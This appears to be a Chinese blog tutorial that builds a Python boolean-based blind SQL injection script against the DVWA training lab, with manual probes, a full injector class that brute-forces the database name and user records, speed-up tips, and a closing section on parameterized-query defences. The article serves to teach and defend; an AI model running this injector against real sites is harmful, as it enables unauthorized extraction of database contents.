当前位置: 首页 > article >正文

从“盲猜”到“秒懂”:用Python脚本模拟DVWA布尔盲注攻击,彻底搞懂背后的逻辑

从“盲猜”到“秒懂”用Python脚本模拟DVWA布尔盲注攻击彻底搞懂背后的逻辑在网络安全领域SQL注入始终是最常见也最具破坏力的漏洞之一。而布尔盲注作为SQL注入的一种特殊形式因其隐蔽性和技术挑战性成为许多安全研究者深入探索的课题。与常规注入不同布尔盲注不会直接返回数据或错误信息而是通过页面行为的细微差异来推断数据库内容——就像在黑暗房间中仅凭触觉寻找出口。本文将带您用Python从头构建一个布尔盲注脚本不使用sqlmap等现成工具而是通过requests库手动实现整个攻击链条。这种造轮子的过程不仅能帮助理解自动化工具背后的原理更能培养对Web应用与数据库交互本质的认知。适合已经掌握基础SQL语法希望提升代码化安全测试能力的中级开发者。1. 布尔盲注核心原理剖析布尔盲注Boolean-based Blind SQL Injection的精妙之处在于其问答式探测机制。当应用程序存在SQL注入漏洞但屏蔽了错误信息时攻击者通过构造特定条件的SQL语句观察页面返回内容的真假状态逐步推断出数据库信息。1.1 典型交互流程以DVWADamn Vulnerable Web Application的SQL注入练习为例正常查询SELECT * FROM users WHERE id1存在记录 → 显示User ID exists无记录 → 显示User ID is MISSING注入探测SELECT * FROM users WHERE id1 AND 11--条件永真 → 页面应显示存在AND 12--→ 条件永假 → 页面应显示不存在这种二元响应构成了布尔盲注的判断基础。关键在于真值判定确定哪些页面特征代表条件为真如特定关键词、HTTP状态码、响应时间信息提取通过逐字符比较获取数据如substr(database(),1,1)a1.2 与传统注入的对比特性常规SQL注入布尔盲注错误信息可见性完整错误回显无直接错误显示信息获取方式直接数据返回真/假状态推断攻击复杂度相对简单需要大量请求典型检测工具sqlmap -technique Esqlmap -technique B防御难度较易防护较难彻底防护提示布尔盲注的防御需要结合输入过滤、预编译语句和统一的错误处理仅屏蔽错误信息不足以解决问题。2. 手工测试到自动化脚本的演进在编写自动化脚本前手工测试能帮助我们理解目标系统的行为模式。以下关键步骤将手工测试经验转化为代码逻辑。2.1 确定注入点特征首先通过手动测试确认注入点的行为特征# 使用requests库发送测试请求 import requests target_url http://dvwa.test/vulnerabilities/sqli/ cookies {PHPSESSID: your_session, security: low} # 测试正常响应 params {id: 1, Submit: Submit} response requests.get(target_url, paramsparams, cookiescookies) print(正常响应:, exists in response.text) # 应输出True # 测试永假条件 params {id: 1 AND 12-- , Submit: Submit} response requests.get(target_url, paramsparams, cookiescookies) print(永假条件响应:, MISSING in response.text) # 应输出True2.2 构建真值判断函数将页面响应转化为布尔值是脚本的核心def is_true(response_text): 根据页面内容判断条件是否为真 return exists in response_text # DVWA的特征关键词 # 测试库名长度 for length in range(1, 10): payload f1 AND LENGTH(DATABASE()){length}-- params {id: payload, Submit: Submit} response requests.get(target_url, paramsparams, cookiescookies) if is_true(response.text): print(f数据库名长度: {length}) break3. 完整自动化脚本实现基于上述原理我们可以构建一个模块化的布尔盲注脚本。3.1 脚本架构设计class BooleanBlindInjector: def __init__(self, target_url, cookies): self.target_url target_url self.cookies cookies self.charset abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_ def test_condition(self, condition): 测试SQL条件并返回布尔结果 payload f1 AND {condition}-- params {id: payload, Submit: Submit} response requests.get(self.target_url, paramsparams, cookiesself.cookies) return exists in response.text def brute_length(self, query): 爆破字段长度 length 1 while True: if self.test_condition(f({query}){length}): return length length 1 if length 50: # 安全限制 raise Exception(超出最大长度限制) def brute_value(self, query, length): 逐字符爆破字段值 result for pos in range(1, length1): for char in self.charset: if self.test_condition(fSUBSTRING(({query}),{pos},1){char}): result char break else: result ? return result3.2 实战应用示例获取当前数据库信息injector BooleanBlindInjector(target_url, cookies) # 获取当前数据库名长度 db_length injector.brute_length(LENGTH(DATABASE())) print(f数据库名长度: {db_length}) # 获取当前数据库名 db_name injector.brute_value(DATABASE(), db_length) print(f数据库名: {db_name}) # 获取users表的第一条记录 user_length injector.brute_length(LENGTH((SELECT user FROM users LIMIT 1))) user injector.brute_value((SELECT user FROM users LIMIT 1), user_length) print(f首个用户: {user})3.3 性能优化技巧布尔盲注需要大量请求以下方法可提升效率二分法搜索替代线性字符集遍历def brute_char(self, query, position): low, high 0, len(self.charset)-1 while low high: mid (low high) // 2 char self.charset[mid] if self.test_condition(fASCII(SUBSTRING(({query}),{position},1)){ord(char)}): high mid - 1 else: low mid 1 return self.charset[low] if low len(self.charset) else None多线程请求并行测试不同字符位置结果缓存避免重复测试已知条件4. 防御视角的思考理解攻击手段是为了更好地防御。从开发者角度需要注意参数化查询始终使用预编译语句# 错误做法 cursor.execute(fSELECT * FROM users WHERE id{user_input}) # 正确做法 cursor.execute(SELECT * FROM users WHERE id%s, (user_input,))深度防御策略输入验证白名单过滤特殊字符最小权限数据库账户仅具有必要权限错误处理统一返回模糊错误信息WAF规则检测可疑的SQL模式在编写这个脚本的过程中最令人惊讶的是布尔盲注对系统资源的消耗——爆破一个简单的8字符字段可能需要数百次请求。这提醒我们良好的日志监控应该关注异常高频的相似请求而不仅是明显的攻击特征。

相关文章:

从“盲猜”到“秒懂”:用Python脚本模拟DVWA布尔盲注攻击,彻底搞懂背后的逻辑

从“盲猜”到“秒懂”:用Python脚本模拟DVWA布尔盲注攻击,彻底搞懂背后的逻辑 在网络安全领域,SQL注入始终是最常见也最具破坏力的漏洞之一。而布尔盲注作为SQL注入的一种特殊形式,因其隐蔽性和技术挑战性,成为许多安全…...

北京 SEO 优化公司哪家比较专业

了解北京 SEO 优化公司的选择,哪家更专业? 在当今互联网时代,拥有一个高效的SEO优化策略是企业在竞争中脱颖而出的关键。而在北京这个国际大都市,众多SEO优化公司云集,如何选择一家专业的SEO优化公司成为了许多企业的…...

2025届最火的五大AI学术方案实测分析

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek AI写作工具,是借助自然语言处理技术所开发出来的智能软件,它可以辅助…...

技术赋能B端拓客:号码核验行业的迭代与价值升级

2026年,数字经济高质量发展进入深水区,B端市场的竞争逻辑已从“规模制胜”转向“效能突围”,拓客环节的精细化、高效化成为企业构建核心竞争力的关键。号码核验作为B端拓客的前置基础性环节,直接关联线索质量、人力效能与拓客投入…...

【数据结构】二叉树小题

一、真题 1:前序 后序遍历反推中序(2011 年) 核心原理 二叉树的遍历规则: 前序遍历:根节点 → 左子树 → 右子树中序遍历:左子树 → 根节点 → 右子树后序遍历:左子树 → 右子树 → 根节点 …...

【数据结构】二叉树非递归前中后序遍历详解

二叉树的遍历是二叉树操作的基础核心,递归遍历实现简单但存在栈溢出风险,在处理深度较大的二叉树时,非递归遍历凭借手动维护栈的方式更具稳定性。本文将详细讲解二叉树前序、中序、后序的非递归遍历实现思路,结合 C 语言代码完整实…...

药流会不会落下月子病?药流后修护要点

药流作为终止早期妊娠的常见方式,其术后养护是否到位,直接关系到女性后续健康,“药流会不会落下月子病”也是行业内及女性群体重点关注的问题。事实上,药流虽无需手术创伤,但对身体的隐性损伤不容忽视,若忽…...

无痛人流三天能出门吗?术后出行与身体恢复科学指南

很多女性在无痛人流术后都会关心出行与恢复问题,其中 “无痛人流三天能出门吗” 是高频咨询内容。术后恢复不仅关系到短期舒适度,也影响生殖系统长期健康。结合临床护理经验与行业康复标准,本文对术后出行时机、注意事项及科学修护方式进行客…...

Pandas 数据分析:统计每个人吃的蔬菜数量

在数据分析中,Pandas 是一个非常强大且灵活的工具,特别是当我们处理数据表格时。今天,我们将通过一个实际例子来展示如何使用 Pandas 统计每个人的蔬菜消费量。这个例子不仅展示了 Pandas 的基本操作,还深入到数据筛选和聚合的细节。 场景描述 假设我们有这样一个 CSV 文…...

Kafka消费者组性能调优实战:从瓶颈识别到极致优化

前言“Kafka性能调优,20%是调整配置,80%是理解你的工作负载。”这是无数生产环境事故总结出来的血泪教训。在生产实践中,很多团队遇到消费性能问题时,第一反应是“加机器、加分区、调参数”,结果往往事倍功半&#xff…...

卡尔曼滤波:详细齐全的代码实现与解析

卡尔曼滤波(代码非常详细、非常齐全) 1、卡尔曼滤波的含义是现时刻的最佳估计为在前一时刻的最佳估计的基础上根据现时刻的观测值作线性修正 2、卡尔曼滤波在数学上是一种线性最小方差统计估算方法,它是通过处理一系列带有误差的实际测量数据…...

基于Simulink的LQR控制四轮转向系统设计与仿真研究

四轮转向 LQR控制 Simulink(个人) 所有算法基于Simulink开发,carsim联合仿真 以期望横摆角速度,零质心侧偏角为状态量,后轮转角为输入,进行离线全速域LQR控制,实现四轮转向,不考虑干…...

果园灌溉施肥控制系统升级:博图v16西门子s7-1200PLC选型与运行效果展示

果园灌溉施肥控制系统改3 博图v16,西门子s7-1200PLC带选型表 io表 运行效果视频果园灌溉3.0版本升级用上了博图V16和西门子S7-1200 PLC,这次改造最大的亮点是把施肥和滴灌控制集成到了同一个系统里。先说个实战经验:在新疆某果园调试时&…...

论文降重降AI难?自带双功能黑科技的实用工具盘点

论文降重和消除AI生成痕迹是很多创作者面临的双重难题,选对工具能节省大量时间精力。下面整理了几款自带降AIGC率功能的实用工具,覆盖中文、英文、应急、轻量优化等不同使用场景,附实际使用效果与核心特点,帮你快速找到适配需求的…...

降AI率低至2%:SpeedAI科研小助手,论文过审省心利器

很多同学都在找能稳定过AIGC检测的工具,其实从 99.8% 到 14.9%:Paperxie AI 降重,破解论文 AIGC 检测的终极方案-CSDN博客这类分享里提到的核心需求,SpeedAI科研小助手都能更好地满足。一、写在前面:被AIGC检测支配的论…...

论文AI率太高怎么降?去AI化实用技巧与工具避坑指南

“整篇论文都是自己原创的,就用AI顺了下逻辑,结果学校AIGC检测直接飙到73%,当场被打回”“熬了3个通宵手动改,AI率才降了不到12%,离答辩只剩一周根本赶不完”“随便找了个降AI工具,把我专业名词改得乱七八糟…...

论文写作卡壳不用愁!这几款AI工具帮你高效赶稿

写论文最怕思路卡壳?大纲憋不出来、正文续写没头绪、降重改到崩溃,还担心AI生成痕迹过不了检测?以下几款实用AI写作工具直击本硕生核心需求,从初稿到答辩全流程辅助,让写作效率直接翻倍。 一、SpeedAI科研小助手&#…...

SEO_如何通过内容SEO获取稳定流量的关键方法

SEO:如何通过内容SEO获取稳定流量的关键方法 在当今数字化时代,如何通过内容SEO获取稳定流量成为了许多企业和网站运营者关注的焦点。内容SEO不仅能够提升网站的自然搜索排名,还能为网站带来长期的、可持续的流量。具体应该如何通过内容SEO获取稳定流量…...

学术效率倍增:Zotero插件全生命周期管理的创新实践

学术效率倍增:Zotero插件全生命周期管理的创新实践 【免费下载链接】zotero-addons Zotero Add-on Market | Zotero插件市场 | Browsing, installing, and reviewing plugins within Zotero 项目地址: https://gitcode.com/gh_mirrors/zo/zotero-addons 一、…...

实测nanobot:5分钟搭建个人AI助手,还能轻松接入QQ聊天

实测nanobot:5分钟搭建个人AI助手,还能轻松接入QQ聊天 1. nanobot核心优势解析 nanobot作为一款超轻量级个人AI助手解决方案,在技术架构和用户体验上都有显著突破。这个受OpenClaw启发的项目,仅用约4000行代码就实现了完整的智能…...

新手必看:虚拟机安装SQL Server全攻略

对于初学者来说 我们并不能使用现实的物理环境来进行练手sql服务 那么就需要使用虚拟环境安装sql sever服务 这样的好处是 不仅可以得到真实物理环境的练手 还可以发现任何问题得到还原和解决 那么就看看如何在虚拟环境下安装sql 服务吧一、准备工作1、虚拟机准备本次使用的是v…...

Elsevier投稿状态监控插件:3分钟告别手动刷新的终极解决方案

Elsevier投稿状态监控插件:3分钟告别手动刷新的终极解决方案 【免费下载链接】Elsevier-Tracker 项目地址: https://gitcode.com/gh_mirrors/el/Elsevier-Tracker 你是否每天都要反复登录Elsevier投稿系统,只为查看那迟迟不来的审稿状态&#xf…...

LLM性能评估入门到精通,搞懂推理指标看这篇就够了!

TTFT、TPOT、ITL、Goodput… 这些指标到底什么意思?今天用一篇文章彻底讲清楚 LLM 推理的性能评估体系。 一、为什么指标很重要 生产环境的真实场景 你部署了一个大模型服务,用户反馈: “首字响应好慢” → 什么问题?“生成过程…...

基于深度学习的车牌识别系统(YOLO12/11/v8/v5模型+django)(源码+lw+部署文档+讲解等)

摘要随着智能交通系统的迅猛发展,车牌识别技术在交通管理、停车场管理和公共安全等领域的应用愈加广泛。传统的车牌识别方法多依赖于图像处理技术,无法有效应对复杂环境下的车牌识别任务。为了解决这一问题,本文提出了一种基于深度学习的车牌…...

openclaw连接飞书操作表格

01意义 将智能助手从电脑网页端连接到手机飞书,从此无需守在电脑前,用手机就能随时指挥它干活。未来,飞书中需要手动操作的任务,都可以交由 AI 智能助手来完成。它还能帮你构建企业知识库,随着飞书终端 CLI 能力的增强…...

基于深度学习的田间杂草检测系统(YOLOv12/v11/v8/v5模型)(源码+lw+部署文档+讲解等)

摘要田间杂草的生长不仅会影响作物的产量和质量,还会对农田管理造成巨大挑战。传统的杂草检测方法多依赖人工观察,效率低下且受主观因素影响。为了提高田间杂草的检测效率与准确性,本文提出了一种基于深度学习的田间杂草检测系统,…...

基于深度学习的隧道缺陷检测系统(YOLO12/11/v8/v5模型+django)(源码+lw+部署文档+讲解等)

摘要随着城市化进程的加快,隧道的建设和维护日益重要。隧道缺陷的及时检测与修复不仅关系到交通安全,也涉及到基础设施的耐久性和经济效益。传统的隧道缺陷检测方法依赖人工巡检,效率低且容易遗漏细微缺陷。本文提出了一种基于深度学习的隧道…...

基于深度学习的水下海洋生物识别(YOLOv12/v11/v8/v5模型+数据集)(源码+lw+部署文档+讲解等)

摘要随着全球海洋生态环境的变化,水下海洋生物的监测与识别变得日益重要。基于深度学习的水下生物识别技术,尤其是YOLO(You Only Look Once)系列目标检测模型,因其高效性和准确性而受到广泛关注。本文提出了一种基于YO…...

**发散创新:基于同态加密的隐私保护计算在Python中的实战实现**随

发散创新:基于同态加密的隐私保护计算在Python中的实战实现 随着数据安全需求的不断升级,同态加密(Homomorphic Encryption) 正从理论走向落地。它允许对加密数据直接进行计算,结果解密后与明文计算一致——这为云计算…...

杰理之SDK 增加通话翻译(OPUS 立体声)功能【篇】

AI 翻译功能...